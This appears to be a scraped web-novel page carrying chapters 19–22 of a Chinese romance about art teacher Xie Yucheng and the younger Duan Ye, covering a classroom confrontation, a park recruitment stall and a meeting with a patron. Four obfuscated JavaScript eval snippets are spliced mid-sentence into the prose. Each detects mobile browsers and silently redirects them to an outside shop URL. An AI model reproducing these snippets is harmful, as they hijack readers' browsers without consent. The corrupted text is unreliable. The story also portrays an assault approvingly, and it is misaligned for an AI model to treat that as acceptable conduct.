“我胡说?你问问你们亲爱的谢老师,他以前是不是个画h图的?!” 谢玉承看上去没什么情绪,头也没抬,淡淡道:“是画了,又怎么了呢?” 那时候他缺钱,外国一些小平台约十八禁的稿子,给的报酬很丰厚。他当时缺乏经验,想通过普通约稿还债,压力太大,只能把目光放在别的地方。 他从来不觉得这是什么丢脸的事情,赚钱嘛,怎么都不寒碜。他是一笔一划赚到的钱,走得正规约稿平台,不偷不抢,凭什么就见不得光了呢? “要不是有院长的关系,你还能留在这里上课?”曹娄一副得胜者的嘴脸,好似他挖出了什么惊天大秘密似的。 说道在画室上课,谢玉承现在真还不缺这份工资,不过既然连教授都扯出来了,谢玉承还是抬头来认真审视了他。 该说不说,身高确实有点闹笑话了。 学生对实习老师有一个匿名打分表,里面不少有对曹娄的投诉,他原本说想等院长来了再处理。 现在看来,应该是不用了。 他合上书页,轻描淡写地说道:“你们的课以后由我来上,今天就当做第一节课。在下课之前,我想告诉大家一句话。” “创作是自由的,不必在意批评。” 教室里安静了一秒,继而爆发出热烈的鼓掌声。 门外,段也嚼着棒棒糖,脚尖有一下没一下地杵在地上。他在想什么,就连他自己也把不准。这段日子他了解了太多有关谢玉承的故事,那些故事无不写着艰难困苦四个字。他心疼,很心疼,这世界上随便什么猫猫狗狗都能欺负谢玉承。 他一直以为矜贵美丽,看上去应该被放进单独的温室日日精心照料的如同花一般的男人,却是一路在暴风疾雨沾满泥泞的生活里走过来的。 段也觉得自己的喜欢有点太粗俗了,这样的喜欢还配不上谢玉承。 他期待的以后是可以把谢玉承如同花一般娇惯滋养起来,不是像今天这样,什么阿猫阿狗都能把乱七八糟的话往他的谢老师身上招呼。 曹娄骂骂咧咧地从教室里出来,大声嚷嚷道:“你算什么东西!凭什么随意更改教师人员配置!我要投诉!” 段也低头把嘴里的棒棒糖咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702150|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎了,目光低低地垂在地上,他单手插兜,懒洋洋地叫了声,“喂。” 曹娄下意识停下脚步,“你谁?” “你爹。”段也抬起头,一时间黑压压的怒意集中爆发出来,他一脚踹向曹娄的膝盖。 过道上的垃圾桶被撞翻了,曹娄躺在地上破口骂娘,结果被人一把抓住头发提溜起来。 段也蹲在他面前,歪着脑袋问他,“听我哥说,他前几天在画室画稿子,被人动了平板,源文件损坏了,是不是你干的?” 曹娄虽然不认识他,但却从他身上感受到一股极为可怕的压迫感。 这么大的动静,谢玉承还是出来看了一眼,他把看热闹的学生挡在身后,叮嘱他们好好画画,随后把门给关了起来。 段也的手臂上爆出青筋,看上去有点恐怖。 谢玉承还从来没见过他这个样子,他的喉结上下滚了滚,看了眼在旁边目瞪口呆的赵欣怡,赵欣怡显然是有点吓坏了,正犹豫着要不要报警。 谢玉承轻轻摇了摇头。 这时候的曹娄还没意识自己即将经历什么,依旧嘴硬道:“……我听不懂你在说什么。” 段也阴恻恻地笑了声,“他那张稿子逾期交不上去,你知道要付多少违约金吗?你赔得起?” 曹娄的脸色渐渐变了,“你可别胡说啊,谁他妈动了他的东西!老子还不屑于……” 话没说完,段也一拳拳砸在他脸上,面无表情地一边砸一边看似冷静地说道:“没事儿,我这儿有记录,咱们去别地儿谈谈,是想赔钱还是想坐牢,又或者是被咱们揍一顿,你选一个?” 谢玉承眼见着情况不对,他感觉到段也有点失控了,赶紧上去拉了他一下。 也没说话,就是在段也的后颈上摸了摸。 段也像是被触动了什么开关,手上的动作顿时停了,慢悠悠地揉着手腕。 过了几秒,他低吼道:“猴子!” 侯至从门口冲过来,一边鞠躬一边儿赔笑,“来来来,曹老师,这儿不太方便,咱们换个地儿。” · 谢玉承在休息室里翻出医药箱,从里面找了酒精出来,一边絮叨一边给段也手上的伤上药。 “你也真是,那曹老师跳起来还没你高,你和他计较什么啊?他那边才失了业好不容易找份工作,这下好,工作没了,还被你给打得鼻青脸肿,要是报警怎么办?够你蹲局子的。”谢玉承嘴上责备,其实更多却是关心。 段也不屑道:“他敢?是他想蹲局子差不多,他毁你文件的事情我没告他已经算好了,这叫什么,故意毁坏他人财物!” “好好好!你最厉害,阿也最棒了。”谢玉承笑着在他鼻梁上刮了一下,“这下不生气了吧?” 段也抬手碰了碰被他摸过的位置,不情不愿地嗯了一声,“我妈手里可养着全国最好的律师团队,我耳濡目染地总能学着点。” 谢玉承在休息室内的自动售货机上给他买了瓶可乐。 可乐落下来的时候,他一只手撑着售货机,一只手去拿可乐,腰线莫名勾勒地很好看。他今天穿得保守,米色的长裤把臀包裹地很恰好。 阳光从窗外打进来,段也眯了眯眼睛,换个角度恍惚一眼,他甚至有种谢玉承没穿裤子的错觉。 “今儿怎么没上课?”谢玉承把可乐递给他。 段也没接,盯着他按了按手心。 谢玉承看到他手上的伤,以为他是有点卸力,于是顺道就把易拉罐给他打开了。 汽水在耳边噗嗤一声,段也微微扬起下巴,稍稍张开嘴。 谢玉承:“……这也要喂?你的手是擦伤又不是断了。” 他不想做这种蠢事,刚打算把可乐直接放在桌上。 段也忽然往上凑了点,牙尖咬住可乐瓶的边缘,带着点引导性质的拉扯力度将可乐慢慢往下,冰冷的汽水顺着倾斜的方向流进他的口腔。 多余的,没接住的,就从他唇角流下去,滴在他的大腿上。 手指在易拉罐身捏出点脆响,谢玉承觉得自己的呼吸有点重,他看着段也的唇,好一会儿没反应过来。 几秒后,段也抓住他的手腕,强迫地又将可乐瓶扶正,眯着眼睛笑了笑,“哥,你抖什么?” 20.第 20 章 谢玉承在心里低低骂了一句,一巴掌打在他手背上。 “卧槽!哥!”段也疼得直叫。 谢玉承往旁边坐下,两腿交叠在一起,拿了学生的画稿翻看起来。阳光浅落在他身上,像洒了层金粉,越发让人挪不开眼。 “你要是没事可以走了。”谢玉承道。 段也支着头,“我问了赵欣怡,你待会儿没课。” 谢玉承:“……” 那姑娘怎么什么都说,有没有课的,说给段也听干嘛,这不是又被缠上了。他想着得找个由头把段也给赶了,免得这小屁孩像只苍蝇似的在耳边飞来飞起,搅得人心神不宁,干什么都干不好。 “你最近没看学校论坛吗?”段也拿脚拨弄他。 小腿上的瘙痒感让谢玉承有点心不在焉,他以前在学校的时候就不看论坛,这会儿毕业多年,还有什么好看的。 段也拿了手机到他面前,“你们美院又给你盖了高楼,到处传你照片绯闻八卦。” “我能有什么绯闻?”谢玉承捏着画稿道。 “怎么能没有呢?谁叫你那恩师是现在美院的院长,现在到处张罗着要给你寻个好良配,明里暗里的把段三火给贬了个彻底。” 段也凑过来,勾着他脖颈上的北极星项链玩了好一会儿。 “这谁给你买的?” 谢玉承不解道:“谁能给我买?就不能是我自己买的?” 段也哦了一声,一直玩着那颗吊坠,一副欲言又止的样子。 “你要说什么就说呗。” 段也:“那我可就说了哦,事先说好,我怕我嘴贱你又不高兴,我说了你不能对我摆脸色。” “你也知道自己嘴贱。”谢玉承笑了声,“说吧,我不生你的气。” “他们说这项链是你和院长某个得意门生的情侣款,还说你俩多多少少的有点儿暧昧。”段也说这话时目光闪烁,多有点不高兴的意思在里面。 饶是毕业多年,每逢谢玉承出现在美院的时候都有人要在论坛发他照片问是谁,那张让人看了一眼就忘不掉的脸是论坛居高不下的热门话题。 段也觉得这事儿找到谢玉承问有点唐突,可这事儿埋在他心里好几天,搞得他危机感很重,终于是没忍住刨根问底了。 可谢玉承不知道他那些花花肠子,听他说了之后觉得没什么好生气的,一句普通朋友就轻轻松松地揭过去了。 段也不是不肯信,就是觉得那条北极星项链看着碍眼。 “阿也,有你在我身边晃悠,再好的桃花都被你给挡过去了。就我现在这处境,自从往你家一住,我敢和别的男人暧昧吗?万一人家提出说要来我家看看,结果开门看你穿着条平角内裤在我家晃悠,别人会怎么想?”谢玉承道。 段也琢磨了一会儿,越琢磨越不对劲,“不是,哥!我啥时候穿着平角内裤就在你面前晃悠了!我再不避嫌也没干过这种蠢事吧!” 谢玉承掩唇低低笑了好一会儿,“我就是打个比方,阿也怎么还较真了?不过话说回来,你天天不好好上课,逛什么论坛啊?论文不写了,课题不做了,项目不继续了?” 段也顿时感到一阵头疼,把头埋在桌上,平常他被导师和他爸妈絮叨地够够地了,本来就是盼着能在谢玉承这儿讨点安慰,怎么谢玉承今天也这么絮叨了。 他从胳膊里露出一只眼睛,悄悄地盯着谢玉承看。 光影明媚,漂亮男人低头看画的样子比画本身要美得多,岁月静好,多让人留恋,他才舍不得走。 想变成一只茶杯猫,天天被谢玉承揣在胸里带着。 “哥,你以后看男人的眼光得放好点儿,眼睛瞪大点儿,别在找些歪瓜裂枣了。”段也道。 谢玉承淡淡嗯了一声,随口道:“行,就照着阿也这样子的找。” 段也笑得露出小尖牙,“嗯呐,照着我这样儿的找,标准答案摆你面前了,干脆咱俩凑合着过得了。” 谢玉承的手抖了一下,体会完段也话里那些打趣的意思,也跟着当了个捧哏的,“行啊,要是阿也以后找女朋友了,我当保姆伺候你俩。” 段也挑眉道:“不找。” 谢玉承:“嘴硬。” 段也非得让他把脖子上的项链取下来瞅瞅,粘牙地很,谢玉承拗不过他,只得把项链给他玩。 段也玩了一会儿,又表现出一副兴致缺缺的模样,起身说要帮他把项链再带上。 “你看你的,别管我。”段也绕到他身后。 胳膊轻轻搭在他肩上,手指勾着项链给他带了回去。 “好了。”段也附身在他耳边,“真好看,哥。” 孵化艺术公园要搞个集市,画室这边顺便就租了个摊位宣传招生,为了这个招生计划谢玉承也是费劲了心思,按照当下的潮流花了些小卡和扇面,到时候可以用于赠送给前来咨询的学生或者家长。 段也和赵欣怡在前台唠了一会儿,隔得远,也没听见他们说什么。 等到段也走了,谢玉承这才有点好奇地问了一嘴。 “说起来,曹老师真给你源文件损毁了?”赵欣怡问。 谢玉承微微颔首。 “操!那这事儿怎么能打他一顿就完了?!”赵欣怡撸起袖子为他愤愤不平。 谢玉承忙劝道:“好了好了,有一个小孩儿我就够费心了,你别跟着闹。虽然我不知道怎么弄的,但阿也叫了朋友给我恢复了,没造成什么损失。” 赵欣怡这才消停。 谢玉承等了一会儿,蹙眉又问道:“我不是问你来着,阿也刚才和你唠什么呢?” 赵欣怡拿起一颗枣,有点不走心地说道:“没问什么,就、就问我们是不是要招生,我就说过几天要在孵化艺术公园办义卖。” 谢玉承:“他要来?” 赵欣怡遮住脸上的表情,“没呢,没说呢,好像他那天有事吧?” “哦。” 见他还想问些什么,赵欣怡赶忙指着他的项链道:“谢老师!你换项链了?什么时候?” “项链?”谢玉承摸了摸脖子上的项链,拿起来一看,果真不是自己之前那条了,“……” 黑色水晶组成的猫眼,瞳孔用的是红水晶。 “好像是哪个品牌的限量款吧,一条得好几万呢。”赵欣怡啧啧几声,带着玩味的口吻道:“段老二也真是费尽心机呢,他才是恨不得掏只眼睛长你身上。” · [北城气象台持续发布高温预警,预计今明两天部分地区气温可达40℃,请居民朋友注意防暑降温。] 眼见入了秋,气温本该降下去了,可秋老虎不给面子,太阳火辣辣地晒,地面滚烫地能煎鸡蛋。 孵化艺术公园平常人流量还是不错的,可惜温度持续爆表,来游玩的客人不多。谢玉承顶着烈日一面担心老师们中暑,一面还是要将义卖组织起来。 他带着男老师支摊子,末了,自己又支了个画架在一边画画,也是为了吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715930|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引客人。 赵欣怡担心他,想让他休息,但谢玉承不肯,他读书的时候也不是没在这么热的情况下干过活,甚至还有在40度高温下穿着玩偶服赚一天不到两百块的兼职费的时候。 如今只是画个画,算轻松的了,他不觉得有什么。 “你快去躲躲太阳,细皮嫩肉的,别晒伤了。我带了有防晒喷雾来,你给自己喷喷。” 烈日下,他穿着一身干净的白T,下半身穿着短裤,一双又白又长的腿露出来,极为吸引眼球。 他的长相不太显年纪,尤其是穿得很干净,乍一眼别人会觉得他是个在读的大学生,眉眼清秀,模样矜贵,想不引人注目都难。 幸好他的付出并非白费,画摊的生意确实比别的摊位要好上一些,有好几个家长都来咨询有关画室招生的事情。 赵欣怡远远地给他拍了张照片,打上画室招生的名号发到了朋友圈。 楚深:[腿玩年] 段老二:[你要死啊?!!] 方燕妮:[好白,想摸。] 楚深:[?大姐你就有点流氓了。] 段老二:[不是,咱们圈子这么窄的吗?燕妮姐怎么会加赵欣怡?] 赵欣怡:[我俩小学同学勒。] 谢老师:[画室招生,有空的来捧个人场呗。] 楚深:[来了宝~] 方燕妮:[来了宝~] 董行书:[来了宝~] 胖子:[宝贝,今儿陪老婆呢,楼上全打嘴炮的,这么热的天,我不信有一个要出门。] 赵欣怡:[真实了,我也想回家吹空调。] 段老二:[有事儿,来不了啊哥,你多喝水,别热着了。] 约莫下午四点左右,摊位来了一个穿着熊猫玩偶服的工作人员,怀里还抱着一箱冰棍。 赵欣怡亦步亦趋地跟在玩偶后面。 “来来来,大家歇一歇,都来吃冰棍!” 谢玉承抬起头,和那玩偶对视了一眼,惊诧道:“不是说不请了吗?怎么还是找来了,这天儿多热?中暑了怎么办?” “哎呀。”赵欣怡贴在他耳边道:“提早就约好了的,人大学生赚点生活费也不容易,他想来就来了呗,没事儿的。” 谢玉承还想说什么,可转念一想,自己那些年也是这么过来的,要是被突然鸽了兼职,他会失落好一段时间,于是只好将人给留下。 “小朋友,要是实在受不了可以说,今天工资照结。” 玩偶盯着他没说话。 刚念大一头一回出来兼职的吧,谢玉承心想。 “有什么不舒服及时说,别死撑,万一中暑,多的医药费都出去了。”谢玉承看着他那双被纱网罩住的眼睛,心里莫名觉得奇怪。 玩偶抱着冰棍箱往他眼前凑了凑。 谢玉承愣了一下,玩偶似乎有点着急,又把冰棍往他面前凑。 “给我吃?” 玩偶点了点头。 谢玉承笑了声,拉着嗓音绵柔地道了声谢。 他的皮肤被晒得有点红了,唇色却显得更红,他撕开冰棍咬在嘴里,洁白的齿贝轻轻磕碰,看得让人心痒。 厚重的玩偶服里,小风扇呼啦呼啦转动的声音掩盖住了男人有点沉重的呼吸声。 很热。 非常热。 但段也觉得很值。 哪怕只是一丁点,他也算接触到了谢玉承曾经生活的一部分了。 21.第 21 章 第二天,大概也是同样的时间,那个穿着玩偶服的大学生又来了。 谢玉承瞧着心疼,却也没说什么。 恰好是周末,今天公园的人比昨天多了不止一倍。 “你好,请问你也是画室的老师吗?” 几个小女生凑过来问道。 谢玉承冲着她们笑了笑,“是。” 大概是因为天太热,他的嗓音里带着点慵懒的绵,听得人耳根子发软。 女生们低低尖叫了声,红着脸找他咨询画室的课程。 “你们不用急着报名,可以先来试听一节课,下周六我们会安排几节试听课,如果有兴趣的话可以来听一听。” 摊位上传来嘻嘻哈哈的说笑声。 赵欣怡和玩偶一起发传单,时不时回过头看个热闹,“谢老师简直了,人那边一坐就是活招牌,今年咱们画室招生的KPI全靠他撑着了。” 段也在里面闷闷嗯了一声,“女孩子就算了,那几个小男生往他跟前凑什么凑?有什么好凑的?” 赵欣怡微微眯起眼睛,饶是看不到段也的神色,但那话里透露出来的意思已经足够明显了。 “吃醋了?” “……我有什么好吃醋的?一看就撞号。” “嘿,那你就说错了。人谢老师可1可0,标标准准的0.5,他也没说他不喜欢娇娇弱弱的小男生啊,刚才有个还加了他vx呢。” 段也:“!操!加什么加!有什么好加的!” 他正要发作,忽然撞见谢玉承正往他这头看,那点烦躁的心思一下就下去了。这时候他还是某个可怜兮兮的打工男大,可不能让谢玉承知道他在这儿,要不然就以谢玉承那个性子,指定逼自己回去。 想着这些,他只能咬牙把那口闷醋给咽下去。他连吃醋都不能吃得明目张胆,憋屈地很,没地儿诉苦。 稍微凉快点的时候,公园来了不少小孩子。 谢玉承忙了好一阵,他拿着纸巾擦了擦额头上的汗水,抬头瞥了眼不远处的玩偶。玩偶拿着宣传用的气球,上面有画室手绘的卡通人物,很是招小朋友喜欢。 玩偶前前后后不知道被小朋友们围攻了多少次,从外面看都知道他精疲力竭。本该到下班的点了,又有个小朋友跑上来,重重在玩偶服上打了两拳,边打还边乐。 玩偶服有些重量,里面的人被拍打地摇摇晃晃。 “乖乖,你们的爸爸妈妈呢?”谢玉承赶紧走过去制止他们,蹲下身拉着小男孩温柔道:“不可以拍玩偶哦,哥哥会不舒服的。” “我想要气球!”小男孩嘟着嘴指着玩偶手里气球道。 谢玉承正想要拿一个给他,哄过去就完了。可他刚把手伸过去,就见玩偶往后退了一步,不肯将气球递出去。 这是生气了? 谢玉承心里冒出这个想法。 也是,毕竟这个小男孩刚才险些让人摔跤。 “乖乖,去找妈妈好吗?”谢玉承耐心哄他。 小男孩哇地一声哭了出来,指着玩偶道:“我不!我就要气球!我就要!” 他躺在地上又哭又闹,显然是平常被父母骄纵惯了的,丝毫也不顾忌别人的感受。听到这哭声,四面八方的人都看了过来,谢玉承觉得有点不安,他其实不善于应付小孩儿,更何况还是这种油盐不进的小男孩。 一支气球从他背后伸了过来。 小男孩眼见有了气球,刚接过来就破涕为笑,还朝着谢玉承做了个鬼脸。 “小气鬼和丑八怪!”他吐着舌头骂了一句。 恰巧他的母亲找过来,拉着男孩就要走,随口道了句歉,也不见得有多少诚意。 天气热,人难免有点火气,谢玉承没再像之前那样好言好语,冷声道:“这里人多,您还是把孩子看好。” 他抬手抓住小男孩的胳膊,不等他妈说话,“另外,我们的气球里打的是氢气,对小朋友可能有点危险,您确定要让孩子带走?” 那段时间氢气球出事故的新闻频发,让人听了心有余悸。小男孩见气球被收回去,又开始大哭大闹起来。 幸好他妈还是个讲脸面的,见孩子哭闹止不住,急急忙忙就给抱着走了。 谢玉承松了口气。 “不是氦气吗?” 身后传来一个声音。 那声音隔着玩偶服,显得有些闷,谢玉承有一瞬间的熟悉,但没放在心上。 “嗯,我骗他们的,不想给他。”谢玉承歪了歪头,冲他笑道:“那小孩儿怪不讨人喜欢,下次再遇见这种事,叫我们来处理就好了。” “我也不讨人喜欢。”玩偶说道。 谢玉承觉得他这话没头没尾的,目光在他身上扫了一眼,勾了勾唇角道:“是吗?我倒挺喜欢的。” 玩偶不说话了。 “气球都收了吧,话都说出去了,不好再发。”谢玉承简单交代一句就回了摊位。 正巧这时候赵欣怡点的外卖到了,她大喇喇地招呼人过去吃饭。 有个男同事收拾碗筷的时候把筷子给弄脏几双,筷子不够用,谢玉承想起自己在更衣室里的包里有几双新买的筷子,便说去拿。 昨天那个玩偶工作人员就没留下吃饭,原本说好的包吃,这还给人亏了顿饭钱,谢玉承觉得挺不好意思的,想着顺道去更衣室问问他今天要不要留下一起吃。 公园的更衣室不怎么通风,里面有风扇呼啦啦地转着。 段也把玩偶服脱下来,白色T恤上全是汗水。长时间高负荷的工作让他也有点承受不住,他脱了衣服散热,就穿了条平角内裤坐在板凳上,拿着小风扇对着脸猛吹。 身上全是汗,黏黏糊糊的,哪哪都不舒服。 赵欣怡发来消息。 [谢老师说把工资给你结了,是直接转你vx?] 段也把头发往后梳着,两侧的碎发还是不停往下滴水。 他按下语音键:[别转了,哥好不容易画的气球,为给我出个头还都废了,我不缺那点钱,你留着给同事们买点饮料什么的吧。] 赵欣怡:[谢小段总赏!] 段也:[哥呢?] 那边没有回复,段也把手机放在身边,只觉得头有点晕乎乎的,像是有点中暑。他翻出带的藿香正气水,牙尖咬着喝了一瓶。 更衣室里的灯管有点接触不良,光线忽闪了一下,他的手机屏幕也跟着亮起来。 赵欣怡:[完蛋!忘记告诉你了!谢老师去了更衣间拿他的包,已经过去好久了!] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722214|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一滴汗水顺着发尖滴落,段也本打算换套衣服回家洗澡的,见手机屏幕亮了,他又坐回去回消息。 [???!] 指尖微颤,顶部通知栏又发来一则讯息。 哥哥:[工资,收下吧。] 他还没来得及点开,一只手从背后伸过来将手机给拿了过去。谢玉承的唇角勾起一抹兴味盎然的笑意,灯光拢在他头顶,和天使下凡一个样。他在转账上点了一下收款,目光落在段也那张充满惊诧的脸上。 额间的碎发因为汗水滴落颤动了一下,段也惊讶地半天没说出话,喉结不住地上下滚了滚。 他喉咙干哑,脑子还有点转不过弯,“哥?” 谢玉承把手机还回去,附身在他的湿发上摸了一把,眼里呈着笑意,“现在知道叫哥?两天,段也,你可真会瞒。” “不是,哥,我不是故意不让你知道的。我这不是怕你知道了不肯让我留在这儿吗?”段也匆忙解释。 谢玉承若无其事地点了点头,“没说你不对。” 他的目光在段也的身体上扫过,“……嗯,阿也,要不先去洗个澡换身衣服呢?” 段也后知后觉地意识到自己现在只穿了条平角内裤,一身流畅性感的肌肉就这么赤|裸|裸地摊开在谢玉承的眼前,他的脸肉眼可见地迅速红透。一时间居然有点手忙脚乱,慌里慌张地拿起衣服就往身上遮。 “哥——!” 谢玉承堵住耳朵,“进来就撞见你脱衣服,见你忙着发消息,这才站了会儿没提醒你。我是个gay呢还没脸红,你倒是脸红上了,怕我占你便宜啊?” “不是怕!我是……”段也咬咬牙,眼神疯狂躲避着,“算了!不和你解释!我洗澡去了!” 更衣室里有个不怎么好的淋浴间,连喷头都是坏的,段也只能拿着水管将就,那水时不时地冷时不时地滚烫,条件实在艰苦。 他扶着淋浴间的瓷砖,满脑子都是刚才谢玉承把他给看光了的想法,就连他也没想到自己居然能慌成这样,就连谢玉承看起来都没什么反应…… 没什么反应? 自己都裸成这件,就差没把内裤脱了,他居然能没什么反应? 靠。 到底自己的身材真就这么普通吗?就一点不能让他喜欢?还是说谢玉承压根不喜欢这种身材,反而是喜欢那种有点肉的白斩鸡或者白白嫩嫩的小男生? 他晃了下脑袋,发丝上的水甩了一圈。 不可能不可能,要是他哥的口味那么独特,自己又该怎么办? 救命。 为什么会没有反应啊! “阿也。”谢玉承勾了勾浴帘。 段也打了个激灵,大喊道:“我洗澡呢!” 他脚下一滑,差点没给自己摔了,就是手里的水管发了疯似的在地上到处喷射,水溅了一地,连外面都溅出去了,本来浴帘只开了个缝隙,这下好,开了一大截。 谢玉承:“……我想说,你没带浴巾,我给你拿过来了。” 段也:“……放、放上面吧。” 他把水管从地上捡起来,水一个劲地往脸上冲,气得直锤墙壁。 谢玉承在外面轻咳了一声,“我去河边等你,洗完了给我发讯息。” 22.第 22 章 河边有个老婆婆在卖中秋节花灯,有兔子灯龙灯螃蟹灯,就是没有小猫灯。 谢玉承捧着画板坐在河边,一边听着流水的声音一边画画,他身边亮着盏简洁的手提小花灯,用颜料在上面简单勾勒出了一个小猫的形状。 段也举着手机在人群里乱窜,循着导航上的定位,要不容易才避开人群看到了那个令他熟悉的身影。 “不上课,跑来体验生活,段少爷真是好兴致。”谢玉承察觉到他来了,递给他一杯事先买好的绿豆汤。 里面还带着冰碴,清热降暑。 段也咬着吸管往他身边一坐,望着他的画板道:“画什么呢?” “闲着没事,随便画画,待会儿要一起去吃饭吗?”谢玉承问。 “等你画完。”段也斜着身子,“不过,赵欣怡不是点了外卖,你没吃?” 谢玉承摇头道:“你不也没吃。” 段也有点不好意思,“这不是怕被你发现吗?哪知道还是被发现了,而是还是那么尴尬的形式。” 谢玉承斜斜在他身上扫了一圈。 衣服换了身干净的,闻那味道,大抵又是用了自己喜欢的那个品牌的沐浴露,同样是茉莉花香味的。 淡淡的,很好闻。 但谢玉承觉得段也不适合这种香味,而且这种香味总给人一种是自己给他染上的错觉。谢玉承画得有点心不在焉,随手勾了个湖中倒影。 河风凉爽,将先前他看到的那些旖旎画面在脑海里吹淡了些,本来他都没想了,可段也一来,又开始想了。 话说回来,在他一个纯gay面前展示那么富有男性荷尔蒙的身体,他又是个禁欲多年的单身男性,能不对刚才那份风景动心才奇怪吧。 只是他不敢说,觉得自己那些想法怪恶心的。 他开始有点厌恶自己了。 明知这样不对,干嘛还不受控制地想。也就是阿也不恐同,换了别的直男,早对他恶心透顶了。 不过好在是他这人理性又有自制力,权衡利弊后,对这份只有负面影响的心动极速回收了。但这件事情提醒了他,也许真的应该听院长的话,和那些还不错的男性接触一下,要不然,事情真还会向着不妙的方向发展。 段也双手向后撑着身体,河风吹在他脸上,两颊热出来的微红还没能消散。 谢玉承在颜料盘上调着色,“真是来体验生活的?” “有个计划。”段也道。 谢玉承:“什么计划?” 段也:“不告诉你。” 鬼精鬼精地,还卖关子。他不想说,谢玉承也不想刨根问底,叮嘱他做好防暑工作,别弄中暑了就成。 “明天还来吗?”谢玉承问。 段也点点头,“只要你不赶我走的话。” 谢玉承笑了声,“我干嘛要赶你走?” 怕你心疼,觉得太累了呗。段也没把这话说出口,觉得万一谢玉承并不这么想,那自己岂不是有点自作多情了。 “怕你觉得拉高了预算,打算开除我这个只会拖后腿的苦逼打工仔。” 谢玉承用画笔抵着下巴,若有所思道:“确实,万一你倒在工作岗位上,我还得赔一笔工伤费,划不来,那你明天还是别来了吧。” 段也埋着头,青筋狂跳,“谢玉承,你……” “不过段少爷想要体会民间艰辛也是好事,我总不能扼杀了你的高尚追求。要是想来的话,工资照发。”谢玉承道,嗓音清冽好听,即便带着几分调侃也很让人感到愉快 他在画中的河边添了一只小猫咪,“明天我得去忙自己的事情了,这边就交给赵欣怡照顾,你要是肯帮忙,我会欣慰一点。做生意我不在行,这几天营收不太行,你脑子好用,给咱们想想办法?” “我以为只是为了招生呢?”段也问。 谢玉承:“这不是招生预算拿不出来太多吗?卖点扇面什么的回点血,总归是好的。” 段也似乎想到了什么办法,点头道好,“这事儿简单,你放心,招生卖画两不误,这事儿我熟。就是,你得把你这幅画送我,名家画作,怪好看的。” “嘴甜。”谢玉承把画取下来给他。 “明天是要去哪?”段也问。 “小阿也。”谢玉承笑眯眯道:“我想,以我们的关系,我应该用不着向你报备吧?总之是工作上的事,不是找男人yp,放心。” 段也抱着画,见他起身,也跟着站起来。 “中秋节,你就没有什么打算?” 谢玉承望着天上的月亮,单手插在裤兜里,笑得有点苦涩,“花好月圆人团圆,那是你们的节日,不是我的。” 段也想他不是还有奶奶吗?转念又想到他和他奶奶的关系并不太好,也没提这事儿。 “等明年吧。”谢玉承倒着走了几步,“明年找个男朋友,到时候回他家,我也能过个节。” 段家情况复杂,他以前也没在正节的时候跟着回段家过节,就算谈道要结婚的时候他也像个外人。 没家没钱也没房。 过去那些年跟白活了没啥区别。 谢玉承举着手里的灯晃了晃,光影在他脸上流转,看不清是真的洒脱还是装的。 段也的心脏为此疼了一下,暗自下定了什么决心,重重点头。 “嗯,明年中秋。” 他吞了下半句话。 ‘我带你回家。’ · 省美协在中心城区开展一年一度的艺术交流会,不少名流到场,酒店对此很重视,安排了不少服务生接待,引导牌都放在显眼的位置。 谢玉承去了二楼的咖啡厅,找服务生要了一杯热美式,闲着没事,他在一张楼盘宣传单上随手画小猫。 没过多久,服务生引着几位美协大佬来了二楼。 谢玉承带着耳机,没太注意周围的变化,直到有人在他面前打了个响指,他这才回过神,把耳机摘了下来。 看清眼前的人,他忙不迭地站起身,“程总。” “坐坐坐,这么客套干什么?”程善微笑着压了压手。 谢玉承望旁边看了一眼,几个不太熟悉的美协成员正往他们的方向看。 照理说,他现在和程善微有点说不清的绯闻,应该暂时保持点距离才是。然而院长最近想给名下的几个研究生办个画展,想借几个协会大佬的画来撑个场面。 其实这种事院长打个电话就搞定了,但老头子心思多得很,非得让他去找程善微开这个口。 “先生,请问喝点什么?”服务生道。 程善微看了眼桌上已经空掉的咖啡杯,“两杯橙汁。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726223|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好的。” “怕你今晚睡不着,给你点杯橙汁润润口。”程善微又问道:“还想要吃点什么吗?这里的芒果班戟味道很不错,你一定要尝尝。” 谢玉承还没来得及开口,但程善微已经先入为主地替他做了决定。他以前被主导惯了的,一向没有自己做决定的资格,原本不该有什么不舒服。 